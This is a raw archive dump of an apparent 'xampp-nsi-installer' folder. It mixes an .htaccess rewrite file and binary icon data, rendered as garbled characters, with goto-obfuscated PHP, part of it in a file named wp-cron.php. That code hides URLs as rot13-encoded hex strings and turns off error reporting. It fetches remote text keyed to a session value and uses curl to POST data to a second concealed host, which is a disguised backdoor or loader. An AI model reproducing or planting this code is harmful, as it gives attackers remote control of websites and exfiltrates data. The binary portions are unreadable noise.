. "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>xampp-nsi-installer/.htaccess000044400000000305151723641500012251 0ustar00 RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] xampp-nsi-installer/icons/classic-cross.bmp000066600000001566151723641500015056 0ustar00BMvv(`ݍwwwwww}wwwwww}wwwwww}wwwwww}wwwwww}}}}}} } } }wwwwp}wwwwp} } } ww}wwwwp}wwp} } } w}w}wwwwp}xp} } } ww}}wwwwp}xp} } } ww}wwwwp}wwp} } } ww}wwwwp}wwp} } } ww}}wwwwp}xp} } } w}w}wwwwp}xp} } } ww}wwwwp}wwp} } } }wwwwp}wwwwp}}}}}}؈}؈}؈}؈}؈}xampp-nsi-installer/icons/xampp-icon-uninstall.ico000066600000074256151723641500016372 0ustar00@@ (B600 %^B  h(@ Bt~_CpAo7k"_!`9n8n7n7o6o6o6o6o6o6o6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6o6o6o6o6o7o7n7n:o(c!_2iCqGrzy Sz"[XVZ]__aabbccccccccccccccccccccccccccccccccccccbbb`__^[VU ZHqҤC[QT[_acdfhhhiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiijjjjjjiihfeca_\VNLuٛo ,aR[^bdghjkllmmmmmmnnnnnnnnnnnnnnnnnnnnnnnnnmjfcbbcfikkigec_\UWv^aYW]adgjkmnopo p p p p q p p p p p p p p p p p p p p p p p p p p p p q pk`RD?={=y@zGR_hlkheb^ZQQyKvWY_cgjlmo p q r r r r r r s s s s s s s s s s s s s s s s s s s s s s s qfN *    w .Sn@nU[`dhln o q r r!s!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!u!td9 h2]J^kjfa]V&^bQ]bfjmp q s!s!t!u!u!u!u!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!va # +RB^jhc_W0cW}R^cgkn q r!t!u!v!v!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!y^ &PD`ie`V>oNyT_dhlo q!s!u!v!w!w!w!w!w"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x!w"zlSSyzwxHH -QNef`X7kHvU_dimp r!s!u!v!w!w"x"x"xvsqpooprt!w"x"x"x"x"x"x"x"x"x"x"x#|7,,&'y;o[eaY6iFtV`eimp r!s!u!w!w"x"x ws(|Oq~fDvt"x"y"y"y"y"y"y"y"y#|i #$ +XOdbY5iDsV`eim p r!t!u!w!w"xsuj>rw"y"y"y"y"y"y"y$D oD`bY4iCsV`eim p r!t!v!w!wrCwv"y"y"y"y"y"zv %aa<=>u]bZ4iBsW`ein p s!t!v!wqY(|v"y"y"y"yuX"11qr ;t\bZ3hBrW`ein p s!t!vpS"yw"y"yr` :u\cZ3hBrW`ein p s!tr5s"yv8qq ;y]cZ3hBrW`ejn p s tq[su HHRR\\ A`cZ3hBrW`ejm p spHpTAAYYllMdcZ3hAqW`ejm p smx,sstt $ZfbZ2hAqW`ejm prrotrs+~NN##DdgbZ2hAqWaejm pp/}px!y!yuwUUSTRR !^jgbZ2hAqWaejm po7,y"qmmnmkigc_[Q=l^ JW[_ceghh&rHeu~xkR0xhhhfc`\XR"X%ZxOTX\_bbeBrzR#jbb`]YUO VR|PPUX\]#gL^-o^\ZVRIAmwHPLRUW^P}~~~~~~~~~~~~~b(fWUSO E_:f DNQSX+f8q?wAz@y=w9t5q2o/m.l,k+j*i*i)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)i)i*i*j+j-l/m1n4q8soKwWcin r!t!v!w!w"x!wvrpooqu!w"x"x"x"x"x"x"x#{ pBCyz  4g^e[7jFtXcjo r!u!v!w"xvt0^m;uv"y"y"y"y"y"y$B Ne\4iDsXdjo r!u!w!ws(|+s"y"y"y"y"{ wUUqr ?zb]3iDsYdjo r!u!wr=Cs"y"y"yy$o 778{`]2iCsYdjo r!ur?Ht#yv=&& 6}`^2iBsYdjo rs%y.u x++%%uu()8`^2hBsYejo rn ktII44 Ad^2hArZejoq%w611uuSg]1hArZejonI#yrtn11 .fg]1hArZejomg0t"y wq$$[mf]1hArZekoks x x"y"yo((((Ipnlf]1hArZdkolm%{ x"y"ysk ,+¾|ilf]1hArZdkolc.w"y"yw4a &VVbjlf]1hArZdkonHTs"y"y"yuUxv#{hK9I`8mlf]1hArZdkoq*zr"y"y"y"ytw%{%{%{%{%{%{%{%{%{#z"y"z#|#xnplf]1hArZdko rpOr"y"y"y"y x x x x x x x x x x!x"y"y!yq^Eo plf]1hArZdko roZ0t"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y!x!y?o plf]1hArZdko rs&y:pw!x"y"y"y"y"y"y"y"y"y"y"y"y"yum plf]1hArZdko rok3tpqqqqqqqsw"y"y"y xw#uolf]1hArZdkor!uxxxxxyyc'|w"y"y"yqj<mlf]1hArZekooC#zvvn*~w"y"yw1_jlf]1h@qZejold.t!x!xopr"y"y"ystilf]1hArZejokp"y x"y"ypo"y"y"yo~hlf]1hArZejokl#yw"y"yop"y"y!xr}hlf]1hArZejomTzoqoF5pun]ijlf]1hArZejop/}k^eFw>mlf]1hArYdjo rooqplf]1hBrYdjo rq * ' 0HcldX3f4g[gm r!s!u!u!u!u!u!u!u!u!u!u!u!u!u"yN *[i^(`7k]ip!s!v!w wtqpru"x"x"x"x!w#|U))ff__## )`a/g0g_j q!u!wur7`p]0r!x"y"y"{!tFF[[Ec,f/f`k q!us'{muw#z }V77/`+f.f`k qr-~uv8Kc66&&__ &_+f.g`kqqtnttFFwwZZ (`+f.g`klOU))rr;d*e-f`kh=rK%%ff  ]e*d-f`kjnwq **iiqq!! -Zmb*d-f`kir!yqdagb)e-f`kiv!xv;fcB ,IS=ib)e-f`klZLr#zv x(}(}(}(}(}(}$z#||&olb)e-f`kp'y%{s"y xwwwwww!xw2sjlb)e-f`kqpAsqsssssv"yw,plb)e-f`knGo_``a^5v"yrc3~jb)e-faki:w x8ww,Rhb)e-fakinwrir xwcfb)d-f`kiopu lr&{_fb*d-f`kjqTd?@ib*d-e`ko13plb*d.f`k qok?nHmlb*d.f_j q tqrJs!xuWn qlb*d.e^ip!t uq=t)}r"x"xvrP6p!tpj`*d/e]hn r ttplr"vqlqttttsno)z.}"vmq!s roi_+c7iXdjlm$t,z1}1~2~35555555541~0|/|-z%unmke[-c+_T_c*qWvx]/uc`WW:hKV*in~~v2pVK:hŽPLHU&a'c&c#a#a"`!`!`!`!`!`!` _ _ _ _ _ _ _!`$b&d)d)cXJFonR;i+[3c'\%[$ZTTTTTTTT#Z#Z#Z#Z#Z$Z$Z$ZTTS!V!T3b]_xampp-nsi-installer/icons/xampp-icon.ico000066600000074256151723641500014363 0ustar00@@ (B600 %^B  h(@ BuHCpAo6k%a6k9n8n7n7o6o6o6o6o6o6o6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6p6o6o6o6o6o7o7n7n8n:m3i0hCqIsb` `%\WVZ]^_aabbccccccccccccccccccccccccccccccccccccbbb``^][VUXMtݦC[PT[_acdfhhhiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiihhgfeca_\W MLuٛo ,aR[^bdghjkllmmmmmmnnnnnnnnnnnnnnnnnnnnnnnnnnmmmmmmmlkjigec_\UWv^aYW]adgjkmnopo p p p p q p p p p p p p p p p p p p p p p p p p p p p p p p p q q p p ppoponljheb^ZQQyKvWY_cgjlmo p q r r r r r r s s s s s s s s s s s s s s s s s s s s s s s s s s s s s r r r r r q ppnmjhd_[R>n@nU[`dhln o q r r!s!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!t!s!s!s r q pnlifa]V&^bQ]bfjmp q s!s!t!u!u!u!u!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!v!u!u!u!u!u!t s q pnkgc_W0cW}R^cgkn q r!t!u!v!v!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!w!v!v!u!t s qolie`V>oNyT_dhlo q!s!u!v!w!w!w!w!w"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x"x!w!w!w!w!w!v!u!s rpmie`X7kHvU_dimp r!s!u!v!w!w"x"x"xvsqpooprt!w"x"x"x"x"x"x"x"x"x"x"x"x"x"x wtrqpprtv"x"x!w!w!w!u!t r pnjfaY6iFtV`eimp r!s!u!w!w"x"x ws(|Oq~fDvt"x"y"y"y"y"y"y"y"y"y"y!xr wDeuyxiM,~sv"x!w!w!v!t s pnjfaY5iDsV`eim p r!t!u!w!w"xsuj>rw"y"y"y"y"y"y"y"yuu\}$ys!w!w!v!t s qnjfaY4iCsV`eim p r!t!v!w!wrCwv"y"y"y"y"y"yr?Yqv!v!u s qnkfaY4iBsW`ein p s!t!v!wqY(|v"y"y"y"yr_qu!u!s qokgbY3hBrW`ein p s!t!vpS"yw"y"yr[p t!s qokgbZ3hBrW`ein p s!tr5s"yv8^n!s qokgbZ3hBrW`ejn p s tq[su2q qokgbZ3hBrW`ejm p spHpTxk qokgbZ3hAqW`ejm p smx,#tpokgbZ2hAqW`ejm prrotrs+~}#zww\akokgbZ2hAqWaejm pp/}px!y!yuwow x xp[iokgbZ2hAqWaejm po7,y"qmmnmkigc_[Q=l^ JW[_ceghh&rHeu~xkR0xhhhfc`\XR"X%ZxOTX\_bbeBrzR#jbb`]YUO VR|PPUX\]#gL^-o^\ZVRIAmwHPLRUW^P}~~~~~~~~~~~~~b(fWUSO E_:f DNQSX+f8q?wAz@y=w9t5q2o/m.l,k+j*i*i)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)h)i)i*i*j+j-l/m1n4q8soKwWcin r!t!v!w!w"x!wvrpooqu!w"x"x"x"x"x"x"x"x"x!xvsqpqsu!w!w!w!v!u rojeZ7jFtXcjo r!u!v!w"xvt0^m;uv"y"y"y"y"y"y"y ws.WszqO,~sv!w!w!u soke\4iDsXdjo r!u!w!ws(|+s"y"y"y"y"yuv ws!w!u s pke\3iDsYdjo r!u!wr=Cs"y"y"yu06q!v!r pkf\2iCsYdjo r!ur?Ht#yv39r!s plf\2iBsYdjo rs%y.u x$xr plf\2hBsYejo rn kt~m plf]2hArZejoq%w6&wolf]1hArZejonI#yrtn%{v0Ollf]1hArZejomg0t"y wquv xs.rilf]1hArZekoks x x"y"yop"y"y"yohlf]1hArZdkolm%{ x"y"yskp"y"y"ypxilf]1hArZdkolc.w"y"yw4p"y"y"ypajlf]1hArZdkonHTs"y"y"yuUxr"y"y"yo8mlf]1hArZdkoq*zr"y"y"y"ytw%{%{%{%{%{%{%{%{%{#z"y"y"y!xqnplf]1hArZdko rpOr"y"y"y"y x x x x x x x x x x!x"y"y!yq^Eo plf]1hArZdko roZ0t"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y!x!y?o plf]1hArZdko rs&y:pw!x"y"y"y"y"y"y"y"y"y"y"y"y"yum plf]1hArZdko rok3tpqqqqqqqsw"y"y"y xw#uolf]1hArZdkor!uxxxxxyyc'|w"y"y"yqj<mlf]1hArZekooC#zvvn*~w"y"yw1_jlf]1h@qZejold.t!x!xopr"y"y"ystilf]1hArZejokp"y x"y"ypo"y"y"yo~hlf]1hArZejokl#yw"y"yop"y"y!xr}hlf]1hArZejomTzoqoF5pun]ijlf]1hArZejop/}k^eFw>mlf]1hArYdjo rooqplf]1hBrYdjo rq $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>xampp-nsi-installer/wp-cron.php000066600000005366151723641500012573 0ustar00 $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>xampp-nsi-installer/xa-icons/1511.bmp000066600000140070151723641500013275 0ustar00BM86(  "y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yqqqᵵZZZ"y"y"y"y"y"y"yOOO***"y"y"y"y"yvvvȘ"y"y"ycccҰWWW"y"y"yDDD444"y}}}"yʡSSSӪ"y"yWWW888"y"yս<<<xxx"y"y"y"yͪ===ԥ"y"y"y"y"yppp***"y"y"y"y"y"y"yFFFppp"y"y"y"y"y"y"y"yαԟ"y"y"y"y"y"y"y"y"y}}}"y"y"y"y"y"y"y"y"y"y"yķ"6R.O2X9eBx!M$X'cOOOh#T'_*i,r.w.y.y-v,p)gœiii"y"y"y"y"y"y"y"y"y"y"y"yʼn B #I (T 1f<}HT&gкإDQ]go s t rldbԘ"y"y"y"y"y"y"y"y"y"y"y"y"y?K[ !D %L +Y4m@LX[Ј;_MZem r t soh0l "y"y"y"y"y"y"y"y"y"y"y"y"y"y"y8Ib "F &O ._7sCP\VVVoooavHUajp t tpkaʝ___"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yȤ $E #H (S 0d:zGS`ĿٮCQ]go s t rmejՏ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yt} C $J *W2i>JWSҒCeLYdl r t sog8pֻ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yLZo !D %M ,\6pANZ\\\@@@yGT`jp s spjaɥUUU"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y%9U "G 'Q .a8vDQ](((ٸCP]fo s t rldrmmm"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yʑ B #I )U 1f<}IUKԛuuuLkKXdl r t sog@vֶ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yGSc !D %L +Y4l?LX^^^***ڄGT_ip s spj`ȭJJJ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y=Me !E &O -^7rCO[ѤIO\fn r t rldqց"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yͭ'G "G (S /c:yFSBxTqJWcl q s rnfH{ְ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y} C $J )V2i=JVۍFS_io s spi`Ƕ>>>"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yQ^r !D %M ,[5oAMZ#NN[fn r s qlc΃}}}"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y*=Y "G &P .`8vDQbLYem q spkaʛeee"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yis !D $K +Y3k?K ]nHUajp s qmeiٖ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yGVm !E %N -]6qBNZ޴CP]go r rog5o"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yؾ/N "G 'R /b9xFRFgKYdl q rpjaɥ[[["y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y׌ B $J )V2h=~IV~GT`ip r qldqى"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yWdv !D %M +Z5n@MP߾DP]fn r rog=tڼ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y3E` "F &P ._7tDPOqMXdlq rpjaɭRRR"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y٩ B #H (S 0e;{GSߊMV`io rqldxځ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yr{ !D $K *X3k>JHy!ZX_gn r rnfFz۶"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yK[p !E %N ,\6qBN]^agmp roi`ǵDDD"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y3Q "G 'R /b:yFSߗfgjnp rpldρځ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yۓ C $J *X3k@M@u1ynop r s rnfN۰"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yT`r "F 'Q /b;{IVh r s s t u tqkaʿ666"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y8Je &O ._9wGUb˦ q t!v!v!v!v toh،vvv"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yܱ )R /c;{IWc9| r!u!v!w!w!v snXۣ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y{4l@M[fn s!u!v!v!v u r&s"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yVqGT`jp s t s s r rpꕴ___"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y###6]O\fn q r qonmnaۓ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"ygKXckp rpmhfe,p###"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y✪GT`io rplf`[Z]֞"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yNNN)TP]fn q qnf^UPNRXPPP"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y[yLYdlp roh/mUKDCFN@tHHH"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y⎟HUajp rpkb̞[|A9x7t;|DOrּ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yjjjJQ]go r qnfe-O 0e .a2h:zFRԑ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yNoMZem q roi-lܜ )V (S +Y2h=~IY]]]"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y~IVakp rpkc͜N\p #I %N ,[5n@MM};;;"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y~~~㷿ER^ho r rnfd9Je "G &P ._8uDQ԰"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yAeN[em q roi+jۭ B #H (T 0e;|HT҂"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"ymJWbkp rplc͛r{ !D $K +Y3k?K*dYYY"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y㨳FS_io r rnfbHWn !E &O -]7rCOY---"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y1113[P\fn r roi)i-M "G (S /c:zFSѤ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yeKXclq sqlc͙ى C $J )V2i>JWrrr"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y㙧HT`ip s rnf`Ubv !D %M ,\6pAN6mOOO"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yWWW%QQ]gn r soi&g*=Y "G 'Q .a9wEReϾ "y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yXvMYdl q sqlcΗٛ B #I )U1g<}IUΗ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y㉛IUajp s rnf^?J[ !D %L +Z5n@MYCCC"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"ypppGQ^ho r spi%f:Kd "F &P ._7tDQBwCCC"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yJlMZem r s qlcΕ׭ !C #H (S 0e;|HTqͳ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yyJVbkp s rnf\t} !D $K *X3k?KXˉ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y㳼FS^ho s spi#eIXn !E %N -]6qBO _[[["y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y=bN[fn r s qldϒ־/N "G 'R /b:yFSM666"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"ymJWckq s rnfZԈ C $J )V2i=JWɧ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y⣯GS_io s spi"dUbu !D %M ,\5oANZ|||"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y;;;/YP\fn r s rldϐ+>Z "G 'Q .a9wER,iTTT"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"ya|KXdl q t sofWҚ B #I )U1g<}IUXȿ***"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"yᔣHT`jp s spjbFQa !D %L +Y5n@MYƚ"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y"y[[[!OQ]go s t rldύ:Kd "F &P ._7tCP\iii"y"y"y"y"y"y"y"y"y"y"y"y"y"ySrLYdlq s rnfTܑfffЪ #D #H (S 0e;{GT6qJJJ"y"y"y"y"y"y"y"y"y"y"y"y"yFS^gnqqoh`s| C $K *X3k?KWbij"y"y"y"y"y"y"y"y"y"y"y"ysss=JU_fklkg`ȋ^^^HWm !E %N -]6qANX"y"y"y"y"y"y"y"y"y"yB_?JS[addb]Q}ۓͺ0O "G 'R /b8vCNWCCC"y"y"y"y"y"y"y"y"yjy3k<}EMSVXWUPˆ C $J )U 0e9xCK>l¾>>>"y"y"y"y"y"y"y"yު )V /c7r=BFIIIF```R_r !D %L )V 0e7t>Ci"y"y"y"y"y"y0Ec &O *X /b3k7r9w:z:z9xGeڕ+>Y !E %L )U ._2h6p8u"y"y"y"y"ycp !D #H %N (S +Y ,\ ._ 